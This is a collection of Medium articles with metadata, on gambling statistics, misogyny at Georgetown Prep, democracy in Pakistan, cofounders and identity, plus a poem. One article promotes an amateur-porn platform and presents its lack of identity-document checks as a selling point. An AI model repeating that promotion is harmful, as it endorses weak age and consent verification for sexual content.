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Why You Shouldn’t Go to Casinos (3 Statistical Concepts)

Why You Shouldn’t Go to Casinos (3 Statistical Concepts) The house always wins. We all know this phrase. But this is more than a phrase. This is a simple, mathematically proven fact. And you’ll only have to know three statistical concepts to see why the house always wins. Tomi Mester Sep 21, 2020·7 min read Photo by Kay on Unsplash You are at the casino. The roulette wheel is spinning and the ball is bouncing. Bounce, bounce, bounce, you smile: “it’s red!” And then it bounces one more. No, it’s black! You lose everything again and go home with empty pockets. Well, I hope you won’t — because you don’t go to casinos, you don’t buy scratch tickets, you don’t play the lottery or any gambling game in general. Why? Because these games are designed to make you lose money. And in this article I’ll tell you why. (Check out the podcast or video version of it, too!) The house always wins. We all know this phrase. But this is more than a phrase. This is a simple, mathematically proven fact. And you’ll only have to know three statistical concepts to see why the house always wins. These three statistical concepts come up often in data science projects, too. So if you are wondering why I’m talking about gambling on a data science channel, rest assured, you’ll be able to take advantage of this knowledge in your data science career, too. Anyways, three statistical concepts. These are: survivorship bias expected value and the hot-hand fallacy Let’s start with the first one. Survivorship bias Everyone loves good stories! A good story sticks. And I bet that you, too, have a friend — or a friend of a friend — who won big on a sports bet, or came home with 10,000 bucks from Vegas or won the dream trip to Malta on a scratch ticket… So won something big. The trick is that in gambling the good stories are always the ones that end with winning big. It makes sense. My grandma never talks about how she played the family numbers on the lottery last week and won nothing, again, for the 200th time. But she never forgets to mention when she won $6000 on it in 2003. Why is that? Because losing is boring. It’s everyday. It happens with everyone. Winning is exciting, it’s a fun-to-tell story, even after years. The story of winning big survives the filter of boredom. This is why this statistical concept is called survivorship bias. In this case, the story of winning is the thing that survives. And why is it a bias? Because what happens here? My brain hears a winning story. That’s one datapoint. Then it hears another one, then another one, then another one. Sometimes it hears losing stories, too… but by far not as many as there are in reality. So my poor brain will have a disproportionately big sample size of winning stories and a relatively small number of losing stories. And it unconsciously creates false statistics from the skewed data — and so it thinks that I have a much bigger chance to win than I have for real. This is how my silly brain works. Well, okay, the bad news is that it’s not just my brain, it’s yours, too. In fact, it’s everyone’s brain: this is how humans are created. We instinctively believe that we have a bigger chance to win in games than we do. Because of survivorship bias. Oh, and of course, almost all casinos and online betting companies amplify this effect as much as they can. Anyways, if there wasn’t survivorship bias, we’d see our chances at gambling more rationally and probably none of us would ever go to the casinos. So if you hear a good winning story, you should always remember that’s not the full picture… and that on the full scale, the house always wins. I keep saying this, by the way: the house always wins. But I haven’t yet explained the math behind it. So let’s continue with that and head over to the second statistical concept. Expected value Here, I won’t go into the details of the expected value calculation itself. But check out this article to learn more: Expected Value Formula. But, let’s get back and let me talk a little bit about expected value. Expected value shows what result you would get on average if you made the very same bet infinite times. I know, this sounds a bit tricky, so let me give you a very simple example to bring this home. Flipping a coin. Flipping a coin is usually a fair game. When you flip a coin, there’s 50%-50% for tails or heads. Let’s say that you bet and when it’s tails you double your money, if it’s heads you lose your money. If you do this over and over again several times, let’s say for 1,000 rounds, your wins and losses will balance each other out. Your average profit will be 0 dollars. That means that the expected value of this game is exactly $0. expected value — coin flip simulation (Image by author) In roulette, there’s a pretty similar bet to flipping a coin. That’s betting red versus black. But in roulette your winning chances are a tiny bit lower compared to flipping a coin. When you put $10 on black, your expected value is not 0. It’s minus $0.27 per round. Again, I won’t go into the math here, check out the article I mentioned. But the point is that in every round you play, you lose an average of 27 cents. It seems like a very small amount of money. But over 1,000 rounds, it adds up and your losses will be around $270. expected value — roulette simulation (Image by author) I mean sure, expected value is a theoretical value, but it always shows itself in the long term. In other words: the more you play, the more you lose. The point is: roulette is a game where the expected value is negative — because the probabilities in it are designed in a way that you’ll lose in the long term. And it’s not that big of a secret, that every single game in a casino is designed with a negative expected value. And that’s why the house always wins. So that was the second statistical concept, expected value. Let’s talk about the third statistical concept: Hot hand fallacy This is another bias and it explains why people don’t get out of a game when they are in a winning series. First off, you have to know that probability is tricky. It works in a way that’s really hard to interpret for the human brain. There are events that are extremely unlikely to happen. Like the chance that you’ll get 10 heads in a row when flipping a coin. The probability of that is less than 0.1%. Still, in a big enough sample size, let’s say when you toss the coin 100,000 times, it’ll inevitably happen, even multiple times. And the same thing can happen to you. If you play 1,000 rounds of roulette for instance, it’s actually pretty likely that you’ll have lucky runs. expected value — roulette simulation — there are lucky runs! (Image by author) And when one’s in the middle of a lucky run, it’s easy to feel that she has a hot hand. So she raises the bar, plays with bigger bets — in the hope of getting the most out of these winning series. But the thing is that these winning series are nothing else but blind luck, and statistically speaking it happens to everyone every now or then. In gambling, there’s no such thing as a hot hand. In the casino, just as fast as you win something, that’s how fast you can lose it.”. Again, you can’t get out of the law of statistics — and the more you play, the bigger the chance you’ll lose. Remember, the house always wins. So don’t fall for the hot hand fallacy. If you go to the casino and play (against common sense) and you win (against the odds), the best thing you can do is get out immediately and be happy for being lucky! Conclusion So why shouldn’t you go to casinos? Because of 3 simple statistical concepts: survivorship bias expected value and hot-hand fallacy And don’t get me wrong, it’s your choice whether you gamble or not. I get it. It’s fun to play sometimes, it’s fun to get lucky and it’s fun to win. I just wanted you to understand the math behind gambling — and to give you a more realistic picture of your chances and about why the house always wins. Tomi Mester, data36.com

https://towardsdatascience.com/why-you-shouldnt-go-to-casinos-3-statistical-concepts-a3b600086463

['Tomi Mester']

2020-09-23 20:19:01.837000+00:00

['Gambling', 'Data Science', 'Bias', 'Editors Pick', 'Statistics']

I Went To Kavanaugh’s Alma Mater, Georgetown Prep, And It Was A Case Study In Misogyny

by Will Menarndt Georgetown Prep. Modified from Wikipedia. When you believe you are superior and untouchable, the least moral commit heinous crimes. The allegations against Brett Kavanaugh have been careful to include not only his age at the time of his alleged assault, but the fact that he was a student at Georgetown Prep. Assaults are a pandemic in our culture today, but his alleged actions speak beyond toxic masculinity and the general rape culture that holds all women hostage today. Brett Kavanaugh is a symptom of something worse. He is the fullest expression of elitism blended with misogyny that is cultivated and groomed at private, all-male institutions like Georgetown Prep. I know because I went there. I was proud when I was accepted as a freshman. I loved that the school dated back to 1789 — just two years after the signing of the Constitution — making our school older than modern France. Coming from a brand new public school, I marveled at the marble columns of the chapel that was built with an anonymous donation during the Great Depression. It is a potent brew of pride that is heady stuff for a 15-year-old, and it meant the world to me to be included. I was coming from a public middle school in rural Maryland, and I loved my teachers and had an incredible education, but I had been bullied every day for my bookishness. I believed Prep’s story about itself — I was so excited to be a part of such a noble institution of scholars and athletes “committed to justice.” As part of our orientation, we were told what an honor it is to be a “Man for Others.” I was in awe of the access to power being a Prep grad might secure for me. I remember Justice Scalia spoke at our annual Father-Son Dinner. We sat in the gym and feasted on steak as he addressed us. He pointed out that he attended Xavier High School, which was still in our network of esteem and familiarity as a Jesuit school like ours. He laughed about his decision in determining the course of the election of George Bush over Al Gore, and said “Well, I got that right,” to thunderous applause. Brett Kavanaugh worked for George Bush during that very campaign. I wonder at what point in his career Brett Kavanaugh felt that he would someday serve on the Supreme Court. Kavanaugh was two years ahead of Justice Gorsuch at Prep. They would have passed each other in the halls. Did they already feel confident even then that would rise to such prominence? As a teacher now , I truly believe in the power of the growth mindset. Rather than telling a student “you are smart” or “you are good,” you should praise the effort a student invests. My education at Prep had a different tenor however. Teachers offered intermittent, lukewarm constructive feedback on our behavior, but the general message of the school was that we were already fully actualized as “Men for Others.” Largely by virtue of our parents’ being able to pay the admission ticket, we were Prep students. We were the best. We hated our rival schools and looked down on everyone else. Kavanaugh was two years ahead of Justice Gorsuch at Prep. They would have passed each other in the halls. Did they already feel confident even then that would rise to such prominence? No one should walk with the certainty of their own innate goodness, least of all unformed, adolescent boys. As many lessons as we learned about how special we were, we learned even more from the lack of response to our worst behaviors. I remember a young woman who substituted for my English class weeping as she erased “I want to fuck Ms. ________ in the ass” from the blackboard. If the boy who wrote it was disciplined, I never heard about it; his actions were never condemned. I also remember our class president getting elected on the slogan “Bleachers,” because he had “fingered” a girl beneath them. Before big games against rival schools, the “Boosters” (an elected group of cheerleaders who would get the fans going before and during games) would paper the hallways with posters with such slogans as “Beat the Pagans” when we played schools that were not religious, and “Hoya Saxa,” etc. One popular poster was a cartoon of a rabbit’s head that on closer inspection revealed a woman parting her legs. It would appear alongside other posters praising certain players or generally hyping the team. It served no other purpose and had no other meaning. When you believe you are superior and untouchable, the least moral commit heinous crimes. The same lack of accountability that led to the rampant abuse finally being called out by the #MeToo movement, the rape of children in the Catholic Church by priests, rapes in the military and abuses by the police force — these all stem from the same corrupting sense of superiority. I don’t think a day went by that I didn’t see a penis scrawled on a chalkboard or a desk. Everyday in the hall I would regularly see guys punch each other in the groin. I would often find myself doubled over in pain having just been punched out of nowhere. On two separate occasions I was choked until I almost blacked out. This was normal, everyday behavior. That is the culture enabled by the dangerous and passive permissiveness of “boys will be boys.” I have never been a fighter and in truth, I’m not particularly quick with words. I had very little defense. The idea of telling a teacher never crossed my mind. I’m not even certain who I would have told. When I was a sophomore, I was taught math by a very old priest. He was a big fan of the football team, and he would let football players sleep in class because they needed rest. He hated me, presumably for my lack of athleticism and my preference for extra-curricular activities which he deemed unmanly. He made a point of telling me that, “we get men ready for college, not art.” A student chimed in in agreement that “if I didn’t like it, I should just leave.” No one should walk with the certainty of their own innate goodness, least of all unformed, adolescent boys. On another occasion, when I took exception to his taking additional points he’d taken off of one of my tests, he called me a “pussy” and punched me in the head. I wonder how Kavanaugh, a star athlete at the school, would have been treated. I wonder what he would have said if he had been in that class with me. The image of his yearbook page that is now circulating indicate that he was inculcated in and upholding of this same cruel and misogynistic culture. We did not have a comprehensive sexual health education at Prep. Freshmen were required to take physical education, and we had a rigorous program of units on weightlifting and other sports. One day out of every class cycle, we met with a coach who styled himself as “Doctor.” There was no textbook or curriculum. He simply shared amusing anecdotes and gave us words of wisdom such as: “Boys, the first time you have sex, you’re not going to last long. So you should probably be drunk so you’ll last a little longer.” There were high fives around the room. Everyone laughed. There was no discussion of how to use contraception and there was certainly no attempt to discuss what consent was. During freshman orientation at college, I remember we were having a water balloon fight. I had gotten to know a student named Charles, and I picked him up and went to throw him in the kiddie pool of water and balloons. He cried out for me to stop, and he looked so upset and scared, I realized that I had crossed a line and I needed to rethink how to interact with other men. I felt awful — I saw in Charles a brief glimpse of the hurt and humiliation I’d felt throughout all of high school. As an educator now, I am horrified at my memories of high school. It took me years to learn about healthy sexual relationships and healthy relationships in general. I worry about how our failures of education are perpetuating rape culture. The statistics for sexual assaults are staggering. One in five women will be raped in their lives and more than 90% of sexual assault victims on college campuses do not report the assault. We spend more time articulating the honor code and investigating claims of plagiarism and cheating than we do the health and safety of our students, especially that of the girls and young women attending our schools. At all-boys’ schools, when students stand shoulder to shoulder with their classmates and hear that they are called to greatness, they also internalize the absence of women from their position of privilege and power. Women are not part of the club. They are separate. They are for conquest; they are for dating; they are for marriage. Women are not peers. Some boys graduate and go on to unpack and unlearn these lessons. Others find new clubs with guarded access. They join fraternities. They go on to business schools and law firms and seek out institutions with disproportionately more men than women. Look at the gender breakdown of boardrooms everywhere. Look at the Supreme Court. The question of the quality of sex education is vital for our schools now, and also in considering what education our current leaders have had. Has Brett Kavanaugh ever attended a course on sexual health? When would he have learned about consent? I don’t believe he learned about it at Prep. I wonder what curriculum he might have had at Yale. The world is different now than it was in ’70s and ’80s yet we are letting men with largely unchanged attitudes from those decades literally pass judgement on cases that define our lives and our society. We’ve internalized the absence of women from their position of privilege and power. Women are not part of the club. They are separate. They are for conquest; they are for dating; they are for marriage. Women are not peers. Court cases demand that crimes be proven beyond a shadow of a doubt, and institutions like Georgetown Prep have honed their ability to cast shadows for almost three centuries. I will never know exactly what happened to some of the victims at my school, and we will similarly never have conclusive evidence proving guilt. That is no accident. We learned implicitly which victims were not valued by the community and therefore expendable. The new teacher here only temporarily? Graffiti desks in her room with threats of sexual assault. The librarian who just wanted to create a quiet space for study? Mock him every day and make his life miserable. Attack the isolated and the vulnerable, but be sure to do it when there are no witnesses. It’s safe to do anything in front of your classmates and your Prep brother, of course — they will always have your back and laugh about it later. All the while we were confident that we were “Men for Others,” confident in our goodness and the promise of great futures. The burden of proof should not be on the victim, but sadly it is. While the legal system remains imperfect and we cannot hope for immediate change, surely we could stop rewarding alleged predators and abusers. We don’t need to know whether or not Kavanaugh is definitively guilty of any one of the many allegations being leveled against him now. He is not a man for others; he’s a man for other men, and the women of our nation deserve better.

https://medium.com/the-establishment/i-went-to-kavanaughs-alma-mater-georgetown-prep-and-it-was-a-case-study-in-misogyny-91c73d5f003a

['The Establishment']

2018-10-12 04:16:02.223000+00:00

['Brett Kavanaugh', 'Sexual Assault', 'Misogyny', 'Private School']

The Flaws of Democracy

I’m not here to tell you that dictatorships are much better than democracy. That would be a different discussion. There are 2 fundamental problems here. The first problem is that no leadership will own the state of the country. Every leadership will blame the previous leadership for taking the country the wrong way and the next leader would do the same. I live in a third world country in the middle east/Asia region. There is a severe political divide, and this is due to the widely varying agendas of political parties. This puts us in an awkward position. Every five years when the leaders change, so do their policies, and unlike dictatorships, this takes up a huge portion of their time, as every move, bill, law or motion has to be passed by getting approval from various bodies. This time taken to change the heading of a nation could be used to implement policies that help prosper. Another major issue with democracy stems from the same issue. The President or the Prime minister is indeed the highest authority but he or she does not have absolute control until an emergency is declared, which is generally rare and unorthodox. Every move by the leadership would be challenged by others in the government, resulting in many legal battles. I can relate to this by the problems in my country, Pakistan. Our constitution is strong, however, due to this age of technology and digital advancements, we lack behind on our laws governing cybersecurity and ease of conducting business online. We face a stern issue that due to the unstable security situation perceived by potential investors, we have a hard time generating foreign revenue, making us rely on the International Monetary Fund and other countries’ investment to survive. Our laws make it extremely hard to start a business in Pakistan and subsidies are little to none when compared to others in the region. The current leadership is unable to change that since they do not understand the needs and requirements of the new generation, but more importantly, are faced with extreme reluctance and disapproval by conventional politicians, who don't think about the future. I would like to explain these points by reference to a boat out at sea. It moves in uncharted waters, with limited supplies. Every day, the captain of the boat changes and orders the boat to move in the opposite direction. The next day, the captain orders the boat to move in the opposite direction, again. Now, as you can see, this will render movement pointless, even when finite resources are being utilized. Furthermore, let's also assume that the captain’s orders are being ineffectively followed to represent battles within a single government. This makes the leadership of the boat look stupid, and this is the case with many democracies around the world. Lastly, I would state that this is not the case with many efficient democracies in the world. Many democracies are well-coordinated and realize the modern demands of people and politics. Everyone has their opinion, this was mine.

https://medium.com/@bilal-arsal3010/the-flaws-of-democracy-9c723f1a0271

['Bilal Arsal']

2020-12-02 07:25:36.272000+00:00

['Middle East', 'Politics', 'Democracy', 'Third World']

A revolutionary approach to software development

SINGLE LOGIN / SINGLE PERMISSION SYSTEM Single login and single permission system Ecosystem54 implements the technology of a single login and password. This greatly simplifies user access to many Ecosystem54 services and significantly saves employees’ working time. You need to create an account for a user with their set of credentials once, and then he will be able to instantly switch between the available services. A single permission system allows you to manage and configure access rights for each user group created from one main service — Auth. Any user action is limited by access rights. You can create groups with a specific set of permissions, add and remove users, manage permissions for each service separately, and give out personal permissions if necessary, which are priority ones. Basic authentication by login and password does not provide the appropriate level of security required by modern enterprises. It is highly probable that an employee can forget the password, or write it down in any accessible place, can also inform password to his colleagues. Therefore, Ecosystem54 uses a built-in authentication system to protect user accounts and ensure the highest level of security. It is implemented through the usage of ECDSA key pair (public and private keys) and a QR code. The ECDSA key pair is generated during user registration on his phone and the private key is stored only in the place of creation, that is, on the user’s personal phone. Scanning a QR code is only possible with a user’s phone with a private key stored on it. Also, in order to protect certain operations in Ecosystem54, it is possible to attach a confirmation QR code to a critical action — that is, even with an open account, only the account owner can perform a critical operation by scanning the QR code only with the device (mobile phone) on which the private key is stored. Critical status can be assigned to certain services.

https://medium.com/dev-genius/ecosystem54-a-revolutionary-approach-to-software-development-afac32964dc

[]

2020-09-14 07:56:03.803000+00:00

['Web Framework', '54origins', 'Software Development']

The Dilemma of Identifying as Chicanx When You Love Pop Culture

Unraveling a cultural identity gets complicated when you feel pressured to associate with the stereotypical elements and unwelcoming perceptions of influence from outside cultures As the daughter of two Mexican immigrants, Spanish is my first language. My childhood revolved around weekend gatherings with my tios and tias in the inner city neighborhoods of Southeast Los Angeles. These adult and kid birthday parties, Sunday carne asadas, and random celebrations were where I began to embrace my Mexican ancestry. The speakers would nearly burst at the screws blasting Los Tigres del Norte, a Norteno band from Mexico, which merely served as background noise to the fast-paced, laugh inducing Spanish conversations going on around 5-year-old me. Even after adapting to the English-speaking dominant suburbs, those evenings surrounded by la cultura remain the building blocks of my bilingual identity. My identity as a Mexican American has always been questioned by others, sometimes by those who share the same bloodline as me. Coming to the United States in the late 1980s from their native Mexicali, Baja California, my relatives and parents were completely new to the United States, despite living relatively close the U.S.-Mexico border. The few combined English phrases they heard in American songs, films and television helped them figure out how to effectively communicate with non-Spanish speakers along their way to a so-called “better life.” Once they arrived in the states, all seven to eight family members moved to tiny, cramped one-bedroom apartments in Watts and Long Beach, relocating continuously for the first few years. Eventually, the family disbanded, raising enough money from working long hours at low paying, under-the-table jobs in the city to move to their own confined apartments in rough neighborhoods. After my maternal grandmother, the family matriarch, passed in 1992 (the year in which I was born), the family both physically and emotionally grew further apart. My tios and tias focused on growing families of their own and designing better futures for their children. My parents had my older sister Nadine and me at this point, more than enough to motivate them to do the same. My mama learned chunks of English through kitchen jargon, conversing with American customers, and accessing even more American popular culture through cable TV and the wide range of radio stations common in L.A. She set out to learn as much English as she could, accepting that learning the basics of a new language would be more beneficial than hindering it in the long run. My mother named me after my late grandmother, her mother, when I was born 40 days after her death in 1992. We would sit up in bed after dropping Nadine off at South Gate’s Montara Elementary School, watching early morning episodes of “Sailor Moon,” “Arthur,” and whichever cartoon was airing on PBS that morning. These lazy, overcast mornings in bed is how both my mother and I learned English, by listening and imitating Arthur the Aardvark and D.W. After I successfully completed kindergarten and after the birth of my little sister Samantha, my family moved 60 miles north to the Antelope Valley in 1998, a less culturally diverse region in the outskirts of Los Angeles County. The mountainous views and predominantly white, suburban community of Lancaster promised new cultural and linguistic opportunities for all of us, where I spent most of my childhood and which was the beginning of me discovering my personal identity outside of my Mexican roots. Moving away from my extended familia and the inner city was an adjustment for our growing family of five. My parents took on full-time jobs as prep and line cooks, this time working in restaurants with blonder haired, bluer eyed gueros as coworkers, who admired their work ethic and fluent Spanish. Meanwhile, Nadine and I attended Linda Verde Elementary School, where we quickly made friends after being placed in bilingual classes. We were taught in English and Spanish by similarly tan and dark-haired bilingual schoolteachers, who reinforced the linguistic and cultural aspects of my heritage through lesson plans. Being surrounded by Latinos at home and school 24/7 was where we felt most comfortable. But coming home to watch cable accessible channels like MTV, Cartoon Network, VH1, and Nickelodeon in the afternoon was my sister’s and my escape into a culturally new way of life. With both of our parents working through most of the day, TV practically raised me and my sisters for a brief period of our childhood. Watching music videos of gueras like Avril Lavigne and Gwen Stefani from No Doubt while getting dressed for school at 7 a.m. was an unspoken rule during my transitional years into middle school. From left to right: Nadine, my older sister, my father, and me at three years old at Santa Monica beach, 1995. I consider myself lucky to have had a father who had great taste in Classic Rock bands of the 1970s and 1980s like The BeeGees, Fleetwood Mac and Men at Work. My mom worked diligently to assimilate to American life and enjoy the romcoms she wished she understood as a young adult herself, while my dad ensured that we remained fluent in our native tongue. One at a time, my dad would seat my sisters and me beside him to read La Opinion, a Spanish written newspaper, before driving us to Blockbuster where we would pick out a Spanish subtitled action movie for us to watch together. I grew up eating the same homemade enchiladas, ceviche, and chiles rellenos my Mexican American grade school friends did, but while their parents listened to Vicente Fernandez, mine listened to Men at Work. While I did not encounter many criticisms about my taste in music, TV, or films in elementary school, my preteen years were filled with judgmental whispers from my Latinx friends and even my primos who still resided in Southeast L.A. I would be teased for prioritizing English popular culture over the telenovelas on Univision and corridos that were much more common in Mexican American households in the early 2000s. The girls I considered my best friends started to exclude me from their circle when I began listening to music more aligned with the pop punk I heard in video games than the bubblegum pop we bonded over as young Chicanas in white neighborhoods. My cousins who introduced me to 90s West Coast hip-hop called me “white-washed” for playing Green Day’s “American Idiot” on repeat. Me and my older sister, Nadine dressed as Robin, boy wonder, and Baby Doll from the graphic novel, Sucker Punch, Halloween, 2013. The feedback I would get by those I loved most on the things that meant the most to me weighed heavily on my mind. I spent middle school and freshman year wasting my academic potential trying to befriend the popular Latinas in my class, never successful in relating to them to as much as they related to each other. At home, my family grew from five to seven, straining our already scarce finances and resources. The addition of another sister and brother always overshadowed the economic struggles, but it felt inescapable when trying to connect with the upper middle-class white kids who liked the things that I liked. My mom’s all-American coworkers would donate garbage bags stuffed with their kids’ hand-me-downs to our family with sincerity. My sisters and I would sift through the garments to find a blouse or a pair of shoes that fit, especially if the garment was from a brand I recognized. Dream come true for this Mexican American horror buff. Meeting Freddy Vs. Jason at Midsummer Scream 2018 I remember thinking about how different, or “better,” my life would be if I had been born white. I thought about how easy it would be to make friends who liked watching tacky horror movies and listening to Blink-182, about how I probably would be able to afford new clothes from Hot Topic with allowance from my rich, white parents, and about how those white parents would probably never make me clean the bathroom I shared with my four siblings. I blamed my ethnicity for a lot of the disadvantages I personally faced, ignoring the fact that while mainstream society culturally appropriates Mexican food and music for profit, systemic racism in the U.S. has historically rejected foreign heritage and traditions. From this perspective, I can understand why so many Latinx households are persistent in preserving as many parts of their culture they can, proudly and loudly. Cumbia band La Sonora Dinamita put on a show at the Pacoima City Hall on Dia de Los Muertos 2019, leaving many Latinx in attendance, including myself, with sore feet from dancing all night. It wasn’t until my family was able to afford the internet during my sophomore year of high school that I finally began to embrace my bicultural interests. I spent hours online downloading the alternative rock songs I heard on the local radio station, as well as the catchy cumbias I enjoyed dancing to at my cousins’ quinceneras. On YouTube, I laughed at English videos goofily dubbed in Spanish and I watched music videos in both languages. The hours I spent in front of a computer comforted me the way MTV did when I was 12. Online I found people like me; Mexican American teenagers who struggled to maintain a strong connection to their Latin identity while enjoying the “white people” media our own raza urged us to deny. It was within that community that I realized we all had similar experiences, trying to stay loyal to the truth that raised us while being unashamed of exploring interests outside of our specific backgrounds. When I learned about my family’s background and our history migrating across Mexico, I clearly understood that my identity runs steadily through my veins. I understood that regardless of what others think they know about me, I am the only one who knows how dearly I embrace my cultura. And while it’s not always apparent that I am bilingual based on my interests, I take advantage to express that gratitude by speaking Spanish as often as possible, rolling my rr’s and translating for those who need it. The Mexican community in Los Angeles thrives as one of the most represented and respected cultures connected to the city. A flag that reads ‘!Viva! Mexico’ on display on Olvera Street in October 2018. As an adult who is proud of identifying herself as a Spanish speaking Chicana, I also recognize the privileges I have experienced over darker skinned Latinos like my father, whose heavy accent distinguishes him as an immigrant. My voice, whether in English or Spanish, serves to defend and speak for those who are incapable or unwilling to speak up for themselves out of fear, and that to me is the only identity worth defending. The imaginary barriers of interests dictated by one’s racial background and native language are just that, imaginary, created by a system that seeks to divide communities. I have fully embraced my role as a bilingual voice for the voiceless, proud of it as I am of my heritage which raised me to stand strong and stay true to who I am, through every success and every failure. No matter if I’m listening to Selena or the Spice Girls, those communities, those culturas that I feel inside of me every minute of every day, will never be silenced or repressed.

https://medium.com/under-the-sun/the-dilemma-of-identifying-as-chicanx-when-you-love-pop-culture-62c8f8d3e377

['Maria M.']

2021-01-12 18:43:54.822000+00:00

['Mexican American', 'Chicana', 'Personal Essay', 'Pop Culture']

Where to find your cofounder

Continuing from last week, I’d like to share the next bit of wisdom I’ve learned from reading Wasserman’s The Founders Dilemmas. This week, we’re going to look into the different places where you can find a cofounder and discuss the benefits and challenges associated with each. Where Can You Find a Cofounder? There are a few options in regards to finding a cofounder. Wasserman describes these options as falling within “three concentric circles” namely the inner, middle, and outer circle. The inner circle is made up of people with whom the founder already has a relationship with and can include girlfriend/boyfriend, husband/wife, old friend, former co-worker, etc. The middle circle is made up of people with whom the founder has indirect contact through a mutual connection, which I will not focus on in this piece. Finally, the outer circle is made up of people met through an impersonal search process.[1] The Inner Circle The inner circle may sound enticing to most people. After all, why wouldn’t you want to work with a loved one or a former co-worker? You know you get along and can work together. Even this can have its challenges. Family and friends The good side of working with family and friends is that there’s already an established trust and familiarity. Beyond this, it’s often relatively easy to find a friend or family member who is willing to support you and help you follow your dream of founding a business. Despite the benefits, it is very risky to bring a close relationship onboard, Wasserman writes. Starting a business can be a very stressful and tumultuous time and it is unlikely that someone will have the skills and fortitude to withstand the stress simply because they are close to the founder. On the other hand, former co-workers have demonstrated a much more positive impact on a founding team’s stability.[2] Former Co-worker You may not necessarily be as close to a former co-worker as you are to a friend or family member, and the trust isn’t necessarily there in the same way, but going this route can lead to a more stable team in the long run. It can be easier to transition from one working relationship to another, as opposed to the reframing of the close personal relationship to a working relationship. It makes sense, after all. You’re already used to working with each other, you are aware of one another’s strengths and weaknesses, particularly within a professional context. Choosing a cofounder from the Inner Circle, regardless of whether it’s a friend, family member, or former co-worker, runs the risk of too much homogeneity.[3] The risks of homogeneity What does this mean? As we’ve written about before at UniFounder, it is wise to create a diverse team, can bring different forms of capital, and fit the necessary archetypes. This is because starting a business is hard work. It requires a vast amount of knowledge and experience that would be difficult for one person to have. Therefore, it is a good idea to bring in people who fill in the gaps that the founder is missing. This will be hard to do with the inner circle, who will likely have at least a similar background to the founder. The Outer Circle To find a person with the skill sets necessary to fill in the missing gaps, you may need to search outside of your personal contacts and utilize the Outer Circle. It may take more time to find the perfect partner and to develop the same level of trust and familiarity, but in the end, there’s a greater chance for success. But where can you look? Using a platform like UniFounder Luckily there are many matchmaking platforms out there that make it easy to find the person with the skills you’re missing. I’d highly recommend UniFounder a free service that allows you to look through dozens(?) of profiles to find your match. Managing Expectations Regardless of where you find your cofounder, you will have to be prepared for difficult situations. It’s inevitable; it’s a lot of work to start a business and it’s stressful and you’ll spend a lot of time interacting with your cofounder(s). Difficult situations can and will arise. Wasserman has a few key points of advice in this regard as well. Don’t avoid it It can be difficult to have a serious discussion with someone and at times it may seem easier to avoid it altogether, bite the bullet, and continue on. Don’t do this. The sooner you can communicate your problems and work towards a resolution, the better. Unless you are a person who truly can withstand everything, it’s better to have that difficult discussion when a problem is just beginning, instead of waiting until it’s unbearable and letting it all blow up.[4] Have a contingency plan Along that same vein, have a plan in place for what should happen if/when these situations occur. Decide beforehand what will happen if a conflict arises between you and your cofounder. This is especially vital in instances in which the cofounder is from the inner circle. It may be best to decide that the secondary partner steps down in the case of conflict, as opposed to the business dissolving or the couple splitting up. By having an agreement beforehand, you help alleviate problems when they arise and you are able to discuss things when you’re in a clear state of mind. There are benefits and challenges in starting a business no matter who you start it with. Find out what works best for you and make sure you are able to have the difficult discussions before they become too difficult. If you want to start a business with someone whose strengths play to your weaknesses, check out UniFounder.

https://medium.com/unifounder/where-to-find-your-cofounder-318c984e8b4

['Aileen Gelb']

2020-12-03 10:31:44.728000+00:00

['Startup', 'Cofounders', 'Wasserman', 'Team']

Babies for the Winter

You drive my car way too fast — despite my protests. We know — we ain’t right. Placing your hand on my thigh, your lips twitch up into a smirk that reaches your pretty brown eyes — as you watch and feel my senses come alive. My body cannot lie, though I’m still upset over yesterday’s fight — we’ll be getting it on again and again tonight. For now, I want to turn my back to you and the wind — and the blurred snapshots of people doing ordinary things. I let the radio play and draw me in as it sings ‘don’t rush, slow touch’ — and for a few moments everything — slows down just enough for me to see and fill my lungs with the scents of London in the Spring. We could drive like this for hours, from dawn to dusk, not knowing where we are going in such a rush — with nothing but misadventure before the two of us.

https://dabboh76.medium.com/babies-for-the-winter-588d38afdb63

['D Abboh']

2020-05-06 09:11:26.434000+00:00

['Poetry', 'Relationships', 'Short Story', 'Love', 'Lockdown']

How To Make Money With Amateur Porn And Stay Anonymous

Are you interested how to make money in adult industry? Then you came to the right place. In this story we will talk about this and give accurate recipes for making money in this area. There are several ways to make money making porn, sexy photo e.t.c. We will list some of them: Selling your photos and videos on special sites Live Sex (webcam sites) Affiliate Programs of Famous Porn Sites Earnings at DPorn Let’s look at each of these ways. Websites to sell nude photos and videos There are many sites where you can do this. Without our help, you can easily find them on the Internet. These sites have their advantages and disadvantages. To start selling your sexual materials, you need to register. Some sites may ask you to send examples of your work. The main disadvantage: almost all sites require not just verification, but documents. You will need to scan your passport or driver license in order to use the site. Live Sex (webcam sites) On such sites you can earn on online broadcasts. You don’t have to have sex and be naked. Some people earn decent rewards without undressing. They just look sexy and enjoy chatting with their fans. Documents are also required on such sites. In addition, there is huge competition on such sites. If you want to start your career there, be prepared to invest in advertising. Affiliate Programs of Famous Porn Sites Some well-known sites offer affiliate programs. Like other sites, there is a need for document verification. There are a lot of high-quality content on such sites and in order to compete with this, you will have to invest some money in advertising. You must have promoted accounts on social networks in order to redirect traffic there. Earnings at DPorn.co At DPorn you can earn in many ways. You can upload your sexy photos, videos and even write erotic stories! At Dporn, no one will ask you for a passport. We don’t care what is written in your documents. Are you 18 years old? It’s enough. For verification, check out a simple guide: https://www.dpornstudios.com/sign-up We have a warm and enjoyable community. To get to the trending page you do not need to be an untwisted superstar. It’s enough to have interesting, sexy, original content and keep in touch with your fans. We are not campaigning. We are talking about visible advantages and disadvantages. The choice is always yours. We are always ready to answer any questions here: https://discordapp.com/invite/yxT3uVE

https://medium.com/@dporninfo/how-to-make-money-with-amateur-porn-and-stay-anonymous-b5a9d9dee7c7

['Dporn Site']

2019-10-27 20:26:19.514000+00:00

['Sex Work', 'Nude', 'Sex', 'Adult Industry', 'Pornography']

17 Strategies for Dealing with Data, Big Data, and Even Bigger Data

